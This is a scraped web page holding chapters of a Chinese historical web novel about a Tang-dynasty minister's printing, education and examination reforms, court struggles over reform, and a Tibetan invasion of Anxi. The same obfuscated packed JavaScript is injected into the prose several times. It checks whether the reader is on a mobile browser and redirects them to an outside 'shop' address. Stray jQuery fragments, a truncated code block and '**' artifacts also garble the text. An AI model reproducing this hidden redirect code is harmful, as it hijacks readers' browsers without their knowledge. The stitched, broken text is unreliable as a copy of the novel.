l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17000308|193951||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
印效率,经过测算,在排版熟练后,可达到同等规模雕版印刷的数倍乃至十数倍,而成本,在大规模生产后,预计不足雕版的三成。
第一批试印的书籍,选择了相对薄本的《千字文》和进士馆编纂的《时务策要略》。当散发着浓郁墨香、字迹清晰整齐、装帧简单却牢固的数百本新书,整齐码放在李瑾和前来视察的几位重臣面前时,所有人都被震撼了。
速度太快了!从接到文稿到成书,不过旬日之功。而且,那铅字印出的字迹,锋棱分明,统一规整,竟比许多手抄本和普通雕版更显清晰易读。**
“好!甚好!”亲自前来观览的武后拿起一本《时务策要略》,翻阅着里面关于漕运、刑名、户税的简明论述,凤目之中异彩连连。“若此法可行,天下学子,何愁无书可读?**朝廷政令、农桑之技,又何愁不能速达州县、广布乡野?”
李瑾拱手道:“天后明鉴。此法不仅可印书,更可用于刊印朝报邸抄,传递政令新闻,其速度与覆盖,远非手抄传递可比。臣已命人加紧制作常用字模,同时在洛阳、扬州、益州等地筹建分局,以便就近供应各地新建书院所需教材。**首批印制的《五经》定本及各类实用书籍,将优先以成本价发售于各州学、县学,并允许学子抄录。”
“成本价?”户部尚书高履行下意识地算了算,即便只是成本价,相比以往手抄或雕版书籍的天价,也已是天壤之别了。他仿佛看到,知识的壁垒,正在这小小的活字面前,发出不堪重负的碎裂声。
很快,首批以活字印刷的“朝廷定本”《毛诗》、《尚书》及《时务策要略》、《农桑辑要》等书,开始通过官方渠道,以极低的价格流向正在兴建的各地官学,甚至出现在长安、洛阳的坊市书肆中。尽管世家大族控制的**,起初对此不乏贬低质疑之声,讥讽其为“匠气死板,不如手泽之温润”,或是吹**求疵地寻找其中可能存在的极个别讹字(在严格校勘下几乎不存在),但无法阻挡一个最基本的事实:这些书,实在是太便宜了!**
一本手抄的《诗经》,价值可能相当于一个中等家庭数月的用度;一部雕版印的,也价格不菲。而如今,一个普通的县学生员,甚至一个稍有积蓄的城市平民子弟,也能攒出钱来,购买一套印刷清晰的“官版”经书和实用读物。**知识的门槛,第一次如此真切地、以触手可及的价格,降低到了无数寒门子弟面前。
长安西市,一家新开的“文华书局”分号前。闻讯而来的士子、市民将店铺挤得水泄不通。掌柜的不得不让人在门外支起长桌,将一摞摞散发着墨香的新书摆放出来。
“官版《论语》!还有《孟子》!才三百文一套!”
“《九章算术启蒙》!这个好,我家小子正用得着!”
“《农桑辑要》!图文并茂,讲的都是实在法子!”
人们争相购买、翻阅,脸上洋溢着前所未有的兴奋与渴望。人群中,一个穿着洗得发白的青衫、显然是寒门士子的年轻人,紧紧攥着刚买到的一本《时务策要略》,激动得手指微微发抖。他抬头望向皇城方向,眼中似有泪光闪烁。他想起家乡那闭塞的村落,想起父亲为了给他凑钱买一本手抄的《礼记》残卷,卖掉了家里唯一的耕牛……而如今,他只用帮人抄写几天文书赚来的钱,就能买到这本凝聚了进士馆精华、直指科考实务的宝书。**
他小心翼翼地将书揣入怀中,仿佛怀抱着一个全新的未来。在他周围,是无数和他一样,因为这廉价的印刷书籍,而第一次真切看到通往知识殿堂道路的身影。远处,文思院的炉火依旧日夜不息,更多的活字正在被铸造出来,更多的书籍正在被批量生产。一场静默却影响深远的知识普及风暴,正随着这些墨香的扩散,席卷向大唐的每一个角落,冲刷着那道由世家大族垒砌了数百年的、名为“文化垄断”的高墙。
第149章 文化之权移
显庆七年,夏。
活字印刷的墨香尚未散去,各地州学、县学的琅琅书声已然渐起。然而,朝廷与世家大族之间那场看不见硝烟的战争,却从人才选拔、知识传播的层面,悄然蔓延至了更为核心的领域——文化的阐释权与话语权。当廉价的“官版”书籍如同潮水般涌向市井乡野,当标准化的经义教材成为无数寒门士子的启蒙读物,**一场关于“何为正统”、“谁在定义知识”的角力,已不可避免。
冲突,最先在看似最“纯粹”的学术领域爆发。
这年秋闱乡试之前,礼部颁布了新的《明经、进士科考试规范细则》,其中除了再次强调答题需务实、重策论之外,最引人注目的一条是:“诸生答经义策问,当以秘书省颁行之《五经定本》及孔颖达等奉敕所撰《五经正义》为准的。如有引用别本异文,或阐发与《正义》相悖之论,虽言之成理,亦需注明出处,并不得作为主干立论依据。”同时,规定各地官学教授,亦需以此为标准教授生徒。
一石激起千层浪。这道诏令,看似只是规范考试,实则是以朝廷的名义,将儒家经典的“标准答案”和解释权,正式收归官方。**这直接触动了世家大族赖以维系其文化优越感的根基——家传经学。
太原,王氏祖宅。当代族长王弘直,一位年过六旬、以《礼》学名闻天下的老者,手持着从长安快马送来的邸报抄件,手指因用力而微微发白。他面前,坐着几位族中在经学上颇有造诣的子弟和姻亲。
“荒谬!荒唐!”王弘直的声音带着压抑不住的怒气,“《礼》经微言大义,幽深玄远,岂是孔冲远(孔颖达)一人一家之言所能囊括?我太原王氏,自汉末以来,世传《周官》《仪礼》,代有阐发,自成一家。如今朝廷一纸诏令,竟要天下士子只尊那《正义》为圭臬,视我等家学为旁门别解?长此以往,圣人之学,岂不成了千人一面、了无生气的死物?”
一位中年族人忧心忡忡地接口:“族长,更可虑者,是那些廉价的‘官版’书籍。如今坊间、州县官学,所传所**,皆是秘书省校订、印书局刷印的版本。我们家藏的古本、先人批注的精要,即便愿意拿出来,又有几人能见到?即便见到,在朝廷的科举标准下,又有何用?这是要绝我等家学之根啊!”
“还有那所谓的‘时务策要略’、‘律疏节要’,”另一人愤然道,“尽是些钱谷刑名、胥吏之术,也敢与圣贤经典并列,成为官学教材、科考内容?如此下去,读书人的气节与胸襟何在?朝廷取士,难道只要会算账、懂律令的刀笔吏么?”
厅堂内一片激愤之声。他们敏锐地意识到,朝廷这一套组合拳下来——统一教材、标准答案、侧重实学,正是在系统地瓦解他们数百年来凭借独特的家传学问和对经典的阐释权所建立的文化霸权。当知识变得标准化、廉价化,当评判学问高低的标准从“家学渊源”、“独到见解”转向“是否符合朝廷颁布的定本”和“能否解决实际问题”时,他们赖以自矜的文化资本,便在迅速贬值。**
然而,并非所有世家内部都铁板一块。几乎在同一时间,荥阳郑氏的一位年轻子弟郑虔,正在长安国子监附近的客栈中,如饥似渴地研读着刚买到的、由进士馆编纂的《河工水利通解》和印书局新出的《大唐疆域舆图简说》。他是家族中不算受重视的旁支,虽有才学,但家族资源向来向嫡系倾斜。如今,这些廉价却内容精要的官版书籍,为他打开了一扇全新的窗户。相比家中那些深奥却有些脱离实际的家传经解,这些书中讲述的河流水文、地理形胜、赋税管理,更让他感到一种脚踏实地的兴奋与实用的力量。他隐隐觉得,未来的仕途和经济,或许更依赖于掌握这些“实学”。
类似的代际与认知裂痕,在许多世家内部悄然滋生。老成者痛心疾首,视朝廷新政为败坏学风、动摇根基的洪水猛兽;而年轻一代中的敏感者或不得志者,却在这股新潮流中,看到了突破家族内部固有等级、凭借个人能力获得新出路的可能。朝廷推广的标准化知识和实用技能,在某种程度上,成了他们用来对抗家族内部陈腐权威的武器。**
除了对经典解释权的争夺,话语权的阵地也在悄然转移。
以往,清议风向、人物品评、甚至对朝政的臧否,很大程度上掌握在少数世家名流、隐逸高士手中。他们通过雅集、诗文唱和、私下品题,形成一种影响士林乃至官场的奥论氛围。但如今,一种新的、更具官方色彩和传播效率的媒介出现了。
由门下省、翰林院共同编纂,印书局负责印刷发行的《长安邸报》(后更名为《大唐政要》),从最初的旬刊,逐渐改为五日一期。这份最初只在小范围内传抄的官方文书汇编,在李瑾的建议和武后的支持下,内容不断扩充,不再局限于诏令和高级官员任免,而是增加了“朝议辑要”(摘录朝会重要讨论,当然是经过选择和加工的)、“地方治绩”(表彰清官能吏的政绩)、“外藩风物”乃至鼓励农桑、水利的简明知识。通过驿站系统,这份邸报被快速分发到各道、州,甚至一些重要的县。虽然发行量相对人口仍然有限,但其代表的是朝廷的声音,是一种强有力的、标准化的信息输出。
某次,几位以清流自诩、与世家往来密切的士大夫,在一次诗会上抨击朝廷“重实务而轻经义,恐使士风浇薄”。他们的言论很快在长安小范围内流传。然而,下一期的《长安邸报》上,便在不显眼的位置,刊登了一篇署名“国子监博士某”的短文,文章不点名地驳斥了这种论调,强调“通经致用方为真儒,坐谈空论无益苍生”,并举了几个近年因精通实务而被擢升的官员例子。虽然文章短小,语气也算平和,但其通过官方渠道发出的信号却清晰无比:朝廷鼓励什么,反对什么。这种来自体制的、有组织的话语回应,虽不如名士品题那般风雅犀利,却更加沉稳有力,如同无形的堤坝,规范着奥论的流向。
更大的冲击,来自基层。在那些新近建立或得到朝廷资助的州学、县学中,年轻的学子们捧着统一的官版教材,听着或是朝廷派遣、或是本地聘请但经过某种“筛选”的教**授课。他们所学的经义,是朝廷定本;所**的策论,侧重当下时务;所读的“课外书”,是朝廷鼓励的农桑、算学、律法启蒙。他们的知识结构、思维方式,乃至对朝廷和世界的认知,从一开始,就在一个与他们
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17000309|193951||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的父兄、与那些世家子弟不尽相同的轨道上塑造着。当他们学成,通过科举进入官场,他们所携带的,将是一套更贴近朝廷需求、更具统一性的文化密码。
洛阳,一场由某世家牵头举办的“经学雅集”上。白发苍鸿的宿儒们高谈阔论,引经据典,对朝廷新颁的《五经定本》和科举导向多有微词。然而,坐在下首的几个年轻面孔却显得有些心不在焉。他们中,有人在袖中偷偷摩挲着新买的《时务策范文选》,有人在心里盘算着刚从邸报上看到的某地水利案例是否可用于即将到来的科考。当一位老儒激昂地批判“朝廷取士,竟以刀笔钱谷之术为先,斯文扫地”时,一个年轻的、略带犹豫的声音响起:
“先生之言,学生不敢全然苟同。圣人云‘修己以安百姓’。若不通钱谷,何以知民生疾苦?若不明律法,何以断狱讼公平?学生以为,朝廷倡导实学,正是引导士子从空谈转向实干,从书斋走向天下,未必不是重振儒学真精神之道。”
此言一出,满座皆惊。老儒愕然,随即面色涨红。而其他几个年轻人,虽未出言附和,但眼中却闪过一丝不易察觉的认同或思索。雅集不欢而散。那个出言的年轻人,是家族中一个旁系子弟,在家中并不受重视,却是洛阳新建州学中的佼佼者。他的勇气,或许来自对家学桎梏的不满,也或许,来自那些廉价书籍和官学教授所带来的、某种不同于家族内部的视野与信心。
长安,政事堂。李瑾听着来自各方的汇报——关于新教材的推行情况,关于《长安邸报》的反响,关于各地官学的进展,也包括世家内部那些不满的声音和年轻一代悄然的变化。
“相爷,太原、清河、博陵那边,颇有微词,尤其是对以《五经正义》为科举唯一准绳一事,反弹甚大。”心腹低声禀报。
李瑾正在批阅文书的笔微微一顿,随即继续写下批语,头也不抬地道:“反弹?让他们弹去。他们可以继续关起门来,研究他们的家传古本,阐发他们的微言大义。但朝廷取士,总得有个标准。这个标准,过去是他们的门第和家学,现在,该由朝廷来定了。**”
他放下笔,望向窗外渐渐深沉的暮色,语气平静却带着不容置疑的力量:“文化的权柄,从来不该只掌握在少数几个家族手中。他们垄断了几百年,也该让出来了。朝廷印的书,朝廷建的学,朝廷定的标准,或许不那么‘精深’,不那么‘玄妙’,但它能让更多的人读得起书,让更多的人明白何为忠君爱国,何为经世致用。这,才是文化之权最根本的移易——从少数人的私藏与清谈,移向更多人的启蒙与实践。这个过程或许缓慢,或许会有阵痛,但大势所趋,非人力所能阻挡。”
夜色降临,长安城中万家灯火。在那些灯火下,不知有多少寒门士子正在廉价的油灯下,捧着廉价的“官版”书籍,为一个不再被出身和家学彻底限定的未来,奋笔疾书。而在那些高门大宅的深院里,也不知有多少敏感的心灵,正在经历着新旧观念的撕扯与挣扎。文化的权柄,便在这样无声的阅读、思考与悄然变化的认知中,一点一滴地,从那些曾经牢牢掌握它的手中,滑向更加广阔而充满生机的土壤。**
第150章 新贵成砥柱
显庆八年,春,长安,宣政殿常朝。
紫宸殿的朝会甫一结束,宰相、重臣移步宣政殿继续商议要务。与数年前相比,这座帝国权力的核心殿堂内,气氛与人员构成,已有了难以忽视的变化。那些白发苍苍、气度高华、彼此间往往带着复杂姻亲或世交关系的世家老臣依然在位,但他们的身旁、对面,乃至稍后一些的位置上,已经出现了越来越多的新面孔。他们大多年岁在三十到四十之间,面容相对朴实,缺少世家子弟与生俱来的那份从容矜贵,但眉宇间往往凝聚着一种专注与务实的气质,衣袍的质地也许不再是最好的绫罗,但浆洗得十分挺括。他们发言时,或许少了些引经据典的华丽辞藻,但对于户籍钱粮、刑名律令、河工漕运等具体政务,常有切中要害的见解和基于实地经验的数据支撑。**
今日廷议的焦点,是河南道关于整顿漕运、清厘沿河苛捐杂税的奏报。事情源于一个出身郑州寒门、名为赵宣的新任监察御史的密奏。赵宣乃显庆五年进士,曾在河南地方为县尉、县令,对漕运弊端和地方胥吏盘剥有切肤之痛。他上任后巡察漕运,不畏地方势力,将沿河州县巧立名目、层层加码的各种浮费查了个水落石出,并直接捅到了御史大夫和宰相这里。**涉及的款项巨大,牵扯的官吏和地方豪强背景复杂。
户部尚书、出身太原王氏的王仁表首先皱眉:“漕运之事,牵一发而动全身。河南诸州,水旱频仍,官府用度紧张,有些附加,亦是无奈之举,用以修堤、养夫。赵御史年轻气盛,锐意任事固然可嘉,但若操切行事,一味追究,恐怕会影响漕粮转运,动摇地方。不若徐徐图之,责令地方自查,酌情减免部分即可。”
他话音未落,一个清朗的声音响起:“下官以为,王尚书所言‘徐徐图之’,恐非良策。”众人看去,发言者是户部度支司新任郎中,名为卢承庆,出身范阳卢氏旁支,家道早已中落,是靠着官学和廉价书籍苦读出身的显庆四年进士。他手持笏板,声音平稳却清晰:“据赵御史所查及下官复核,河南诸州附加于漕粮上的各种浮费,名目多达十七种,有些甚至纯属子虚乌有。这些费用,并未全部用于修堤养夫,大部分流入了地方胥吏和与之勾结的豪强囊中,成为他们中饱私囊、鱼肉百姓的利器。去年漕粮损耗较往年增两成,其中大半恐非天灾,实乃。若再‘徐徐图之’,恐百姓负担愈重,漕运损耗愈大,朝廷岁入亦将受损。下官以为,当借赵御史此奏,雷厉风行,彻底清厘,明定章程,方是长久之计。”
卢承庆侃侃而谈,不仅反驳了王仁表的意见,更引用了具体数据,条理清晰。他身后几个同样出身寒微或地位不高的户部、工部官员,虽未开口,但脸上均露出赞同之色。王仁表脸色有些不好看,他并非完全反对清理,只是顾虑其中的阻力与平衡,没想到被一个年轻郎中如此直接地顶了回来。更让他不快的是,卢承庆虽姓卢,却早已是“寒门”一系,如今更是旗帜鲜明地站在了赵宣这等“愣头青”一边。
这时,又一人出列,是刑部司门司的一位主事,名叫孙伏伽(借用历史人名,此处为虚构情节),亦是新晋寒门进士出身。他补充道:“卢郎中言之有理。下官查阅旧年卷宗,类似清理漕弊的诏令,自贞观末年以来,已下过数道,皆因地方阳奉阴违,或中途不了了之。此次赵御史证据确凿,正可借此东风,彻查到底,并修订漕运章程,明确各项费用名目与额度,张榜公示于各漕关码头,使运丁商旅皆能明白上缴,使胥吏无从作弊。**此乃堵塞漏洞、惠及百姓、亦增加国库实收的良机。”
一唱一和,有理有据,将一件可能引发地方动荡的棘手之事,剖析成了必须立即着手、且有法可依的整顿良机。几个出身世家、与河南地方有千丝万缕联系的老臣,脸色愈发凝重。他们能感觉到,这些新进的年轻官员,不仅敢于任事,而且思路清晰,手段务实,更重要的是,他们似乎形成了一种默契,彼此声援,不再像过去那些零星的寒门官员那样势单力薄。
端坐御案之后的李治,神色平静,看不出喜怒。他的目光扫过卢承庆、孙伏伽等人,最后落在一直未曾开口的李瑾身上。**“**以为如何?”
李瑾出列,拱手道:“陛下,臣以为卢郎中、孙主事所言,切中肯綮。漕运乃国脉所系,弊政不除,则国脉不畅。赵御史不畏强权,查明积弊,当予嘉奖。至于清理之法,确应雷厉风行与建章立制并举。臣建议,可遣一得力干员为漕运巡察使,持节赴河南,会同御史台、户部、刑部精干人员,就地查办,并着手拟定《漕运新条》,明定费用,严禁加派,以绝后患。**”
“何人可任此巡察使?”李治问。
李瑾略一沉吟,道:“监察御史赵宣,勇于任事,熟悉地方情弊,可为副使,协办具体事务。至于正使……吏部考功司郎中狄明远(虚构人物),为人清正,通晓律令,曾在地方多有政绩,可当此任。”狄明远,亦是近年崛起的寒门能吏,以明法科入仕,断案如神,更难得的是处事公允,不避权贵。
李治看了看武后,见武后微微颔首,便道:“准奏。着吏部考功司郎中狄明远为漕运巡察使,监察御史赵宣为副,即日赴河南,彻查漕弊,拟定新章。有抗命不遵、阻挠查办者,可先行拿问,奏报朝廷。”
“臣等遵旨。”卢承庆、孙伏伽乃至更多出身类似的官员,闻言皆是精神一振,眼中闪过锐利的光芒。他们知道,这不仅是一次简单的差遣,更是朝廷对他们这一批人的信任与重用。而狄明远、赵宣这样的任命,更是向外界传递了一个清晰信号:有能力、敢担当的寒门官员,正在被放到关键的、能够施展抱负的位置上。
类似的情景,在显庆末年的朝廷各个角落不断上演。
在工部水部司,一群由明算科、明法科及进士科中精通实务者组成的年轻官员,正在依据各地上报的水文数据和新式测绘地图,重新勘定黄河、淮水几处险工段的修缮方案,他们的方案往往更加注重效率与成本,减少了许多华而不实的“景观”工程。
在户部度支司,算盘声噼啪作响。来自天南海北、通过新式科举和官学培养出的精于计算的官员们,正在逐条审核各地的赋
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17000310|193951||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
税账目,他们熟悉《九章算术》和新推广的记账法,对数字极为敏感,许多过去被世家出身、不屑于钱谷细务的官员忽略的漏洞和猫腻,被他们一一揪出。虽然得罪了不少人,但也为国库节省了大量虚耗。
在御史台、刑部乃至大理寺,越来越多熟读《唐律疏议》及其节要、出身寒微的官员开始担任重要职务。他们断案,往往更重证据、条文,对于那些依靠人情关系、惯常在法律边缘游走的世家子弟和豪强来说,这些“不通世故”的法官,成了令人头疼的存在。
地方上,变化更为显著。许多新上任的县令、刺史,出身或寒素,或为世家旁支但接受了新式教育,他们带着朝廷颁发的《吏治要则》和在进士馆学到的实务知识走马上任。或许缺乏地方根基和人脉,但他们通常更敢于触碰地方豪强的利益,更注重劝课农桑、兴修水利、清查户籍等基层治理。他们施政的依据,往往是朝廷的新法和那些廉价的官版实用书籍,而非地方势力的意志或世家的惯例。尽管阻力重重,磕磕绊绊,但越来越多的地方,开始出现吏治相对清明、政令更为通达的新气象。**
当然,新贵的崛起并非一帆风顺。他们缺乏世家大族盘根错节的关系网和雄厚的财力支持,在官场中时常感到孤立。他们的务实作风有时被讥为“吏才”而非“宰相器”,他们的直言敢谏被视为不懂规矩。暗中的排挤、公务上的掣肘、甚至恶意的中伤,从未停止。一些保守的世家官员,依旧掌握着不少要职和话语权,对这些“骤进”的寒门同僚,心怀复杂的优越感与不安。
然而,这股新生力量,已经扎根,并且日益壮大。他们或许单个的力量尚显薄弱,但通过同年、同乡、同出身官学甚至同为李瑾门生的关系,他们之间形成了一种新型的、以政见和出身背景为纽带的联系。他们常常在休沐日聚会于长安一些不起眼的酒肆或某位同僚的宅邸,不是为了风雅的诗文唱和,而是交流各地见闻、讨论政务难题、甚至是交换那些廉价实用书籍的阅读心得。这种联系,不如世家的姻亲网络那般牢固和广泛,却更加务实和具有内在的凝聚力。更重要的是,他们有着共同的利益诉求——打破门第限制,凭才干获取晋升;也有着共同的**靠山——那位不断提拔寒门、推动改革的**,以及背后默许甚至支持这一切的帝后。
宣政殿的议事已近尾声。阳光透过高高的窗棂,洒在光洁的金砖地面上,照亮了空气中浮动的微尘,也照亮了那些新面孔脸上日益增长的自信与担当。李瑾的目光缓缓扫过殿中众人,在那些世家老臣复杂的面容上稍作停留,最后落在卢承庆、孙伏伽等人挺直的背影上。他知道,新旧交替的过程远未结束,博弈与摩擦仍将持续。但无可否认的是,一股新的力量已经崛起,他们来自更广阔的天地,带着不同于旧有阶层的思维与能力,正在一点一点地渗透进帝国的肌体,成为支撑这个庞大国家继续向前运转的新的骨骼与血肉。
科举风云,席卷而至。寒门新贵,砥柱初成。**时代的潮水,正在不可逆转地,冲刷、改变着权力的河床。
第151章 吐蕃扰安西
显庆九年,深秋。长安的丹桂香气尚未散尽,一份沾染着血与尘的六百里加急军报,如同凛冬的寒流,猝然席卷了帝国的中枢。
军报来自安西大都护府,发信人是安西副都护、龟兹镇守使郭孝恪。这位以勇悍刚烈著称的老将,字迹罕见地有些潦草,力透纸背的紧迫感几乎要撕裂那坚韧的纸张:
“……八月末,吐蕃赞普芒松芒赞(松赞干布之孙)亲统大军,号称二十万,实则精骑逾八万,步卒辅兵无算,自羊同(象雄)故地北上,越过昆仑山隘口,直扑我于阗、疏勒一线。其前锋精锐,皆披重甲,悍不畏死,弓马娴熟,更兼驱使附庸之苏毗、羊同诸部为前驱,势甚猖獗。”
“九月初三,于阗镇外围戍堡陷落,镇将力战殉国。初七,疏勒东境告急,臣遣骁将率三千骑驰援,遭吐蕃大军伏击,损折过半……目下,吐蕃主力已围困于阗、疏勒城下,日夜猛攻。**龟兹、焉耆亦受其游骑袭扰,通往庭州(北庭都护府所在)之要道时断时续。”
“……敌势浩大,来势凶猛,迥异往年秋掠。观其意图,非为掳掠,实欲鲸吞我安西四镇,截断丝绸之路,动摇陛下天可汗之威于西域!安西诸军分镇各处,兵力本已单薄,今遭此倾国之兵猛攻,各城守军皆陷苦战,危如累卵。**疏勒存粮,据报仅可支月余;于阗情势,恐更为艰危。”
“……臣已尽发龟兹可战之兵,并征发城中胡汉丁壮协防,然恐独木难支。北庭王方翼都督处,亦遣使告急,言葛逻禄、咽面部等有异动,恐与吐蕃呼应。万乞朝廷速发大军西援,迟则安西四镇恐有不测,西域局势将一朝崩坏!臣郭孝恪,泣血顿首,谨奏。”
军报后面,附着数份更早的、来自不同军镇和烽燧的急报抄件,无不印证着郭孝恪所言非虚。烽烟,已在大唐西陲最遥远的边镇熊熊燃起。
紫宸殿内,空气凝重得仿佛要滴出水来。李治面色沉郁,手指无意识地敲击着御案,那份军报就摊开在他面前。武后坐在帘后,身影挺直,虽看不清面容,但一股凛冽的气息已透帘而出。殿中文武重臣,分列两旁,无人轻易出声,只有粗重的呼吸声此起彼伏。
“诸卿,都看过了。”李治的声音有些沙哑,打破了令人窒息的沉默,“吐蕃狼子野心,朕一向知晓。自文成公主和亲,松赞干布死后,其孙年幼,禄东赞等权臣摄政,便屡有犯边之举。然如此规模,如此明目张胆,意图一举夺我安西四镇,却是前所未有。郭孝恪乃百战老将,非到万不得已,不至发出此等哀切之音。安西危矣,西域危矣。**诸卿,有何对策?”
一阵难堪的寂静。安西四镇(龟兹、焉耆、于阗、疏勒)远在**之外,中间隔着戈壁、雪山、荒漠,地理之遥远,补给之艰难,气候之恶劣,足以让任何一个头脑清醒的将领望而生畏。更不用说吐蕃此番蓄谋已久,倾国而来,兵锋正锐。
良久,兵部尚书、同中书门下三品(宰相)任雅相出列。他年事已高,须发皆白,是太宗朝留下的老臣,熟稔边事。他面色沉重,缓缓道:“陛下,安西四镇,乃太宗皇帝、先帝历经血战方得以设立,控扼丝绸之路咽喉,震慑西域诸国,断不可失。然……自长安发兵,驰援安西,路途何止五千里?大军远征,人吃马嚼,粮秣转运,耗费巨万。且时已深秋,陇右、河西即将入冬,大军出塞,天时不利。吐蕃人居高原,耐苦寒,我军则……恐难适应。郭都护求援心切,然朝廷筹措大军、粮草,非数月不能就绪。只怕……只怕远水难解近渴啊。**”
他话音一落,殿中响起一片压抑的赞同低语。许多人脸上露出了深深的忧虑和无力感。道理谁都懂,安西重要,但救援太难。历史上,中原王朝对西域的控制,常常因为这种遥不可及的距离和耗费而动摇。**
“难道就眼睁睁看着安西陷落,看着太宗、先帝的心血,看着无数将士用血换来的疆土,沦于吐蕃之手?”一个激昂的声音响起,是刚刚升任左骁卫将军不久的薛仁贵。他因早年征讨铁勒等战功得到提拔,性格刚烈,“陛下!末将愿领一支精兵,轻骑倍道,直趋安西!吐蕃虽众,劳师远袭,其势不能久。**我安西将士皆百战精锐,据城而守,只要援军消息一到,必能士气大振,里应外合,破敌有望!”
“薛将军勇气可嘉!”另一位老将,右卫大将军契苾何力摇头叹道,“然轻骑深入,粮道如何保障?吐蕃既敢大举来犯,岂能不防我援军?前有围城重兵,后有漫长粮道,中途若遭截击,危矣!**此非辽东、漠北,地形、气候、敌情,皆大不同。”
武将之中,主战者有之,但更多的是凝重和谨慎。文臣那边,气氛更为复杂。户部尚书首先出列,脸色发苦地开始算账:若要发兵十万救援,需要调动多少府兵、征发多少民夫、筹集多少粮草、沿途设置多少转运点……最后得出的数字,是一个足以让国库再次空虚的天文数字。而今年河南、河北的水患刚刚平息,赈灾已耗费颇巨,再加上持续的科举改革、官学推广等花销……**
“陛下,”一位出身山东世家、以清流自居的谏议大夫出言道,“安西四镇,悬远绝域,得之不增国富,失之不损国本。太宗、先帝开拓之时,国力正盛。如今国家虽安,然内有水旱,外……若倾举国之力以争西陲一隅,恐非善策。不若……不若令郭都护等审时度势,或可……暂避敌锋,退保西州、庭州,待来年春暖,再图恢复?”这番话,几乎等同于主张放弃安西了,只是说得委婉。
“荒谬!”薛仁贵虎目圆睁,若非在御前,几乎要吼出来,“安西若失,吐蕃兵锋直指河西、陇右,西域诸国必然望风而降,丝绸之路断绝,我大唐西北门户洞开!届时,吐蕃坐大,与西突厥余孽、甚至北方的突厥、铁勒诸部勾连,我朝将永无宁日!此乃唇亡齿寒之局,岂可轻言放弃?**”
殿中顿时争执又起,主战、主守、甚至隐隐主弃的声音交织在一起,乱成一团。忧虑、焦急、保守、算计……各种情绪在这庄严的殿堂内弥漫。**每个人都知道安西的重要性,但每个人也都清楚救援的艰难与代价。
李治的眉头越皱越紧,目光不由自主地投向一直沉默不语的李瑾。自军报传来,李瑾便凝神细听,手指在袖中轻轻捻动,似在思忖。
“**,”李治开口,声音带着一丝期待与疲惫,“你久在枢机,熟知边情,对于吐蕃此次大举进犯,以及如何应对,有何高见?”
所有人的目光,瞬间聚焦到了那位年轻的宰相身上。
李瑾缓缓出列,他的表情依旧平静,但眸色深沉,仿佛蕴藏着风暴。他先向御座躬身一礼,然后转向众臣,声音清晰而稳定地响起:
“陛下,诸位同僚。吐蕃此次倾国来犯,非为掳掠,实为断我臂膀,夺我西域主导之权。**郭都护判断无误,此战关乎国运,安西绝不能丢。”
他顿了顿,目光扫过那些面露难色的脸庞,继续道:“任尚书所言远征之难,户部所虑粮饷之巨,皆是实情。薛将军忠勇可嘉,然契苾将军所虑粮道安危,亦不可不防。至于
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17000311|193951||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
……”他看了一眼那位谏议大夫,语气转冷,“至于言弃地者,可斩。此非争一城一地,乃是守卫太宗、先帝之基业,护佑我大唐西陲万世之安宁。安西若失,河西陇右再无宁日,丝绸之路断绝,商税锐减,西域诸国离心,届时,我朝将不得不在漫长的西北边境上布置重兵,岁岁防秋,所耗之资,将百倍于今日出兵之费!”
一席话,掷地有声,说得主弃者面红耳赤,也让那些单纯忧虑困难的人心中一凛。是啊,今日不救,明日付出的,可能就是更大的代价。
“然则,**,”任雅相苦笑,“道理我等皆明,可这兵如何出,粮如何运,天时地利皆不在我,如之奈何?难不成,飞到安西去?”
李瑾眼中精光一闪,沉声道:“正因为常规之法难行,我们才需行非常之道。吐蕃敢如此猖獗,是欺我大军**驰援不易,是欺我府兵集结缓慢,是欺我粮秣转运维艰。那么,我们就要让他们看看,大唐是否还是昔日那支大唐!”
他转向李治,深深一揖:“陛下,臣有一策,或可解安西之围,更可一举挫败吐蕃锋芒,奠定西陲十年太平之基。**只是……此策需用新军,行新法,耗新械,恐靡费甚巨,且需朝野同心,陛下信重。”
殿中瞬间安静下来,落针可闻。所有人都屏息凝神,看向李瑾。新军?是了,这位**数年來除了推动文治,在兵事上也从未松懈。那支传闻中装备精良、训练苛刻、耗资无数的“神策军”,以及那神秘莫测的火器……难道他早就在等待这样一个机会?
李治的身体微微前倾,眼中燃起一丝光芒:“**有何良策,速速道来!”
